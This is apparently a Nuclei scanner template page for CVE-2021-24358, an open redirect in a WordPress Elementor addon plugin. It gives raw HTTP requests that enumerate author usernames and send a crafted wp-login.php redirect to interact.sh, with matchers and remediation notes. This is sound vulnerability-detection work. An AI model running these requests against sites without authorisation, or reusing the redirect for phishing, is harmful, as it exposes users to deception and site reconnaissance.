Plus Addons for Elementor Page Builder < 4.1.10 - Open Redirect
ID: CVE-2021-24358
Severity: medium
Author: dhiyaneshDk
Tags: cve2021,cve,wp,wpscan,wordpress,redirect,wp-plugin,elementor,posimyth
Description
Section titled “Description”WordPress Plus Addons for Elementor Page Builder before 4.1.10 did not validate a redirect parameter on a specifically crafted URL before redirecting the user to it, leading to an open redirect issue.
YAML Source
Section titled “YAML Source”id: CVE-2021-24358
info: name: Plus Addons for Elementor Page Builder < 4.1.10 - Open Redirect author: dhiyaneshDk severity: medium description: WordPress Plus Addons for Elementor Page Builder before 4.1.10 did not validate a redirect parameter on a specifically crafted URL before redirecting the user to it, leading to an open redirect issue. impact: | This vulnerability can be exploited by attackers to trick users into visiting malicious websites, leading to potential phishing attacks or the execution of other malicious activities. remediation: | Upgrade Plus Addons for Elementor Page Builder to version 4.1.10 or later to mitigate the vulnerability. reference: - https://wpscan.com/vulnerability/fd4352ad-dae0-4404-94d1-11083cb1f44d - https://nvd.nist.gov/vuln/detail/CVE-2021-24358 - https://theplusaddons.com/changelog/ - https://github.com/ARPSyndicate/kenzer-templates classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2021-24358 cwe-id: CWE-601 epss-score: 0.00329 epss-percentile: 0.70913 cpe: cpe:2.3:a:posimyth:the_plus_addons_for_elementor:*:*:*:*:*:wordpress:*:* metadata: max-request: 2 vendor: posimyth product: the_plus_addons_for_elementor framework: wordpress tags: cve2021,cve,wp,wpscan,wordpress,redirect,wp-plugin,elementor,posimyth
http: - raw: - | GET /?author=1 HTTP/1.1 Host: {{Hostname}} - | GET /wp-login.php?action=theplusrp&key=&redirecturl=http://interact.sh&forgoturl=http://interact.sh&login={{username}} HTTP/1.1 Host: {{Hostname}}
host-redirects: true matchers: - type: regex part: header regex: - '(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)(?:[a-zA-Z0-9\-_\.@]*)interact\.sh\/?(\/|[^.].*)?$' # https://regex101.com/r/L403F0/1
extractors: - type: regex name: username group: 1 regex: - 'Author:(?:[A-Za-z0-9 -\_="]+)?<span(?:[A-Za-z0-9 -\_="]+)?>([A-Za-z0-9]+)<\/span>' internal: true part: body
- type: regex name: username group: 1 regex: - 'ion: https:\/\/[a-z0-9.]+\/author\/([a-z]+)\/' internal: true part: header# digest: 4a0a00473045022100b3fd9eaec6712064a970d261e5a81136844630987ca1b1a6927ce673d043df8a0220735aaf21f258b6fc502e5050d0744a74416f351de2480ac7c6f720f11238a528:922c64590222798bb761d5b6d8e72950Guide to check the vulnerabilities
Section titled “Guide to check the vulnerabilities”This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.
$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-24358.yaml"